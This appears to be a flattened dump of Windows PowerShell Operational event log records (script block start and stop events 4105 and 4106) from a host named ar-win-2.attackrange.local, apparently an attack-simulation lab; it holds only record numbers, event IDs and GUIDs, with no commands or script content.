410615103150x0674552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 